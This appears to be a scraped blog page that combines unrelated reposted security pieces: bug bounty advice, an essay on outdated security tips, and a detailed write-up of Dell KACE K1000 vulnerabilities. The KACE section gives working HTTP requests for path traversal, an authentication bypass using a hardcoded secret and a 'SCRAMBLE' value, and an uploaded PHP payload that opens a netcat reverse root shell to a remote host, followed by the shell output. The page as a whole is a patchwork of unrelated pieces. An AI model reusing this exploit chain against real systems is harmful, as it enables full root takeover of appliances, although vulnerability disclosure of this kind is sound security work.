kp3 Marquee Post title test: 07 June 2020

How Do I Get Started With Bug Bounty ?

Posted by KP-3မိသားစု |

How do I get started with bug bounty hunting? How do I improve my skills?

These are some simple steps that every bug bounty hunter can use to get started and improve their skills:

Learn to make it; then break it!
A major chunk of the hacker's mindset consists of wanting to learn more. In order to really exploit issues and discover further potential vulnerabilities, hackers are encouraged to learn to build what they are targeting. By doing this, there is a greater likelihood that hacker will understand the component being targeted and where most issues appear. For example, when people ask me how to take over a sub-domain, I make sure they understand the Domain Name System (DNS) first and let them set up their own website to play around attempting to "claim" that domain.

Read books. Lots of books.
One way to get better is by reading fellow hunters' and hackers' write-ups. Follow /r/netsec and Twitter for fantastic write-ups ranging from a variety of security-related topics that will not only motivate you but help you improve. For a list of good books to read, please refer to "What books should I read?".

Join discussions and ask questions.
As you may be aware, the information security community is full of interesting discussions ranging from breaches to surveillance, and further. The bug bounty community consists of hunters, security analysts, and platform staff helping one and another get better at what they do. There are two very popular bug bounty forums: Bug Bounty Forum and Bug Bounty World.

Participate in open source projects; learn to code.
Go to https://github.com/explore or https://gitlab.com/explore/projects and pick a project to contribute to. By doing so you will improve your general coding and communication skills. On top of that, read https://learnpythonthehardway.org/ and https://linuxjourney.com/.

Help others. If you can teach it, you have mastered it.
Once you discover something new and believe others would benefit from learning about your discovery, publish a write-up about it. Not only will you help others, you will learn to really master the topic because you can actually explain it properly.

Smile when you get feedback and use it to your advantage.
The bug bounty community is full of people wanting to help others so do not be surprised if someone gives you some constructive feedback about your work. Learn from your mistakes and in doing so use it to your advantage. I have a little physical notebook where I keep track of the little things that I learnt during the day and the feedback that people gave me.

Learn to approach a target.
The first step when approaching a target is always going to be reconnaissance — preliminary gathering of information about the target. If the target is a web application, start by browsing around like a normal user and get to know the website's purpose. Then you can start enumerating endpoints such as sub-domains, ports and web paths.

A woodsman was once asked, "What would you do if you had just five minutes to chop down a tree?" He answered, "I would spend the first two and a half minutes sharpening my axe."
As you progress, you will start to notice patterns and find yourself refining your hunting methodology. You will probably also start automating a lot of the repetitive tasks.

More info

Freefloat FTP Server 1.0 | Remote Buffer Overflow | Exploit

Posted by KP-3မိသားစု |

More info

The Curious Case Of The Ninjamonkeypiratelaser Backdoor

Posted by KP-3မိသားစု |

A bit over a month ago I had the chance to play with a Dell KACE K1000 appliance ("http://www.kace.com/products/systems-management-appliance"). I'm not even sure how to feel about what I saw, mostly I was just disgusted. All of the following was confirmed on the latest version of the K1000 appliance (5.5.90545), if they weren't working on a patch for this - they are now.

Anyways, the first bug I ran into was an authenticated script that was vulnerable to path traversal:

POST /userui/downloadpxy.php HTTP/1.1
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: kboxid=xxxxxxxxxxxxxxxxxxxxxxxx
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 114
DOWNLOAD_SOFTWARE_ID=1227&DOWNLOAD_FILE=../../../../../../../../../../usr/local/etc/php.ini&ID=7&Download=Download

HTTP/1.1 200 OK
Date: Tue, 04 Feb 2014 21:38:39 GMT
Server: Apache
Expires: 0
Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform
Pragma: public
Content-Length: 47071
Content-Disposition: attachment; filename*=UTF-8''..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fusr%2Flocal%2Fetc%2Fphp.ini
X-DellKACE-Appliance: k1000
X-DellKACE-Version: 5.5.90545
X-KBOX-Version: 5.5.90545
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/ini
[PHP]
;;;;;;;;;;;;;;;;;;;
; About php.ini ;
;;;;;;;;;;;;;;;;;;;

That bug is neat, but its post-auth and can't be used for RCE because it returns the file as an attachment :(

So moving along, I utilized the previous bug to navigate the file system (its nice enough to give a directory listing if a path is provided, thanks!), this led me to a file named "kbot_upload.php". This file is located on the appliance at the following location:

http://targethost/service/kbot_upload.php

This script includes "KBotUpload.class.php" and then calls "KBotUpload::HandlePUT()", it does not check for a valid session and utilizes its own "special" means to auth the request.

The "HandlePut()" function contains the following calls:

$checksumFn = $_GET['filename'];
$fn = rawurldecode($_GET['filename']);
$machineId = $_GET['machineId'];
$checksum = $_GET['checksum'];
$mac = $_GET['mac'];
$kbotId = $_GET['kbotId'];
$version = $_GET['version'];
$patchScheduleId = $_GET['patchscheduleid'];
if ($checksum != self::calcTokenChecksum($machineId, $checksumFn, $mac) && $checksum != "SCRAMBLE") {
KBLog($_SERVER["REMOTE_ADDR"] . " token checksum did not match, "
."($machineId, $checksumFn, $mac)");
KBLog($_SERVER['REMOTE_ADDR'] . " returning 500 "
."from HandlePUT(".construct_url($_GET).")");
header("Status: 500", true, 500);
return;
}

The server checks to ensure that the request is authorized by inspecting the "checksum" variable that is part of the server request. This "checksum" variable is created by the client using the following:

md5("$filename $machineId $mac" . 'ninjamonkeypiratelaser#[@g3rnboawi9e9ff');

Server side check:

private static function calcTokenChecksum($filename, $machineId, $mac)
{
//return md5("$filename $machineId $mac" . $ip .
// 'ninjamonkeypiratelaser#[@g3rnboawi9e9ff');

// our tracking of ips really sucks and when I'm vpn'ed from
// home I couldn't get patching to work, cause the ip that
// was on the machine record was different from the
// remote server ip.
return md5("$filename $machineId $mac" .
'ninjamonkeypiratelaser#[@g3rnboawi9e9ff');
}

The "secret" value is hardcoded into the application and cannot be changed by the end user (backdoor++;). Once an attacker knows this value, they are able to bypass the authorization check and upload a file to the server.

In addition to this "calcTokenChecksum" check, there is a hardcoded value of "SCRAMBLE" that can be provided by the attacker that will bypass the auth check (backdoor++;):

if ($checksum != self::calcTokenChecksum($machineId, $checksumFn, $mac) && $checksum != "SCRAMBLE") {

Once this check is bypassed we are able to write a file anywhere on the server where we have permissions (thanks directory traversal #2!), at this time we are running in the context of the "www" user (boooooo). The "www" user has permission to write to the directory "/kbox/kboxwww/tmp", time to escalate to something more useful :)

From our new home in "tmp" with our weak user it was discovered that the KACE K1000 application contains admin functionality (not exposed to the webroot) that is able to execute commands as root using some IPC ("KSudoClient.class.php").

The "KSudoClient.class.php" can be used to execute commands as root, specifically the function "RunCommandWait". The following application call utilizes everything that was outlined above and sets up a reverse root shell, "REMOTEHOST" would be replaced with the host we want the server to connect back to:

POST /service/kbot_upload.php?filename=db.php&machineId=../../../kboxwww/tmp/&checksum=SCRAMBLE&mac=xxx&kbotId=blah&version=blah&patchsecheduleid=blah HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Length: 190
<?php
require_once 'KSudoClient.class.php';
KSudoClient::RunCommandWait("rm /kbox/kboxwww/tmp/db.php;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc REMOTEHOST 4444 >/tmp/f");?>

Once this was sent, we can setup our listener on our server and call the file we uploaded and receive our root shell:

http://targethost/service/tmp/db.php

On our host:

~$ ncat -lkvp 4444
Ncat: Version 5.21 ( http://nmap.org/ncat )
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from XX.XX.XX.XX
sh: can't access tty; job control turned off
# id
uid=0(root) gid=0(wheel) groups=0(wheel)

So at the end of the the day the count looks like this:

Directory Traversals: 2
Backdoors: 2
Privilege Escalation: 1

That all adds up to owned last time I checked.

Example PoC can be found at the following location:
https://github.com/steponequit/kaced/blob/master/kaced.py

Example usage can be seen below:

How Do I Get Started With Bug Bounty ?

Posted by KP-3မိသားစု |

Read more

WHY WE DO HACKING?

Posted by KP-3မိသားစု |

Purpose of Hacking?
. Just for fun
.Show-off
.Steal important information
.Damaging the system
.Hampering Privacy
.Money Extortion
.System Security Testing
.To break policy compliance etc

Related word

One Reason Why InfoSec Sucked In The Past 20 Years - The "Security Tips" Myth

Posted by KP-3မိသားစု |

From time to time, I get disappointed how much effort and money is put into securing computers, networks, mobile phones, ... and yet in 2016 here we are, where not much has changed on the defensive side. There are many things I personally blame for this situation, and one of them is the security tips.

The goal of these security tips is that if the average user follows these easy to remember rules, their computer will be safe. Unfortunately, by the time people integrate these rules into their daily life, these rules either become outdated, or these rules were so oversimplified that it was never true in the first place. Some of these security tips might sound ridiculous to people in InfoSec nowadays, but this is exactly what people still remember because we told them so for years.

PDF is safe to open

This is an oldie. I think this started at the time of macro viruses. Still, people think opening a PDF from an untrusted source is safer than opening a Word file. For details why this is not true, check: https://www.cvedetails.com/vulnerability-list/vendor_id-53/product_id-497/Adobe-Acrobat-Reader.html

On an unrelated note, people still believe PDF is integrity protected because the content cannot be changed (compared to a Word document).

Image stolen from Kaspersky

Java is secure

One of the best ones. Oracle started marketing Java as a safe language, where buffer overflows, format strings and pointer-based vulnerabilities are gone. Unfortunately, they forgot to tell the world that instead of "unsafe programs developed by others" they installed their unsafe program on 3 billion devices.

Stay away from rogue websites and you will be safe

This is a very common belief I hear from average people. "I only visit some trusted news sites and social media, I never visit those shady sites." I have some bad news. At the time of malvertising and infected websites, you don't have to visit those shady sites anymore to get infected.

Don't use open WiFi

I have a very long explanation of why this makes no sense, see here. Actually, the whole recommendation makes no sense as people will connect to public WiFis, no matter what we (InfoSec) recommend.

The password policy nightmare

Actually, this topic has been covered by myself in two blog posts, see here and here. Long story short: use a password manager and 2-factor authentication wherever possible. Let the password manager choose the password for you. And last but not least, corporate password policy sux.

Sites with a padlock are safe

We tell people for years that the communication with HTTPS sites are safe, and you can be sure it is HTTPS by finding a randomly changing padlock icon somewhere next to the URL. What people hear is that sites with padlocks are safe. Whatever that means. The same goes for WiFi - a network with a padlock is safe.

Use Linux, it is free from malware

For years people told to Windows users that only if they would use Linux they won't have so much malware. Thanks to Android, now everyone in the world can enjoy malware on his/her Linux machine.

OSX is free from malware

It is true that there is significantly less malware on OSX than on Windows, but this is an "economical" question rather than a "security" one. The more people use OSX, the better target it will become. Some people even believe they are safe from phishing because they are using a Mac!

Updated AV + firewall makes me 100% safe

There is no such thing as 100% safe, and unfortunately, nowadays most malware is written for PROFIT, which means it can bypass these basic protections for days (or weeks, months, years). The more proactive protection is built into the product, the better!

How to backup data

Although this is one of the most important security tips which is not followed by people, my problem here is not the backup data advise, but how we as a community failed to provide easy to use ways to do that. Now that crypto-ransomware is a real threat to every Windows (and some OSX) users, even those people who have backups on their NAS can find their backups lost. The only hope is that at least OSX has Time Machine which is not targeted yet, and the only backup solution which really works.

The worst part is that we even created NAS devices which can be infected via worms ...

Disconnect your computer from the Internet when not used

There is no need to comment on this. Whoever recommends things like that, clearly has a problem.

Use (free) VPN to protect your anonimity

First of all. There is no such thing as free service. If it is free, you are the service. On another hand, a non-free VPN can introduce new vulnerablities, and they won't protect your anonymity. It replaces one ISP with another (your VPN provider). Even TOR cannot guarantee anonymity by itself, and VPNs are much worse.

The corporate "security tips" myth

"Luckily" these toxic security tips have infected the enterprise environment as well, not just the home users.

Use robots.txt to hide secret information on public websites

It is 2016 and somehow web developers still believe in this nonsense. And this is why this is usually the first to check on a website for penetration testers or attackers.

My password policy is safer than ever

As previously discussed, passwords are bad. Very bad. And they will stick with us for decades ...

Use WAF, IDS, IPS, Nextgen APT detection hibber-gibber and you will be safe

Companies should invest more in people and less into magic blinking devices.

Instead of shipping computers with bloatware, ship computers with exploit protection software

Teach people how to use a password safe

Teach people how to use 2FA

Teach people how to use common-sense

Conclusion

Computer security is complex, hard and the risks change every year. Is this our fault? Probably. But these kinds of security tips won't help us save the world.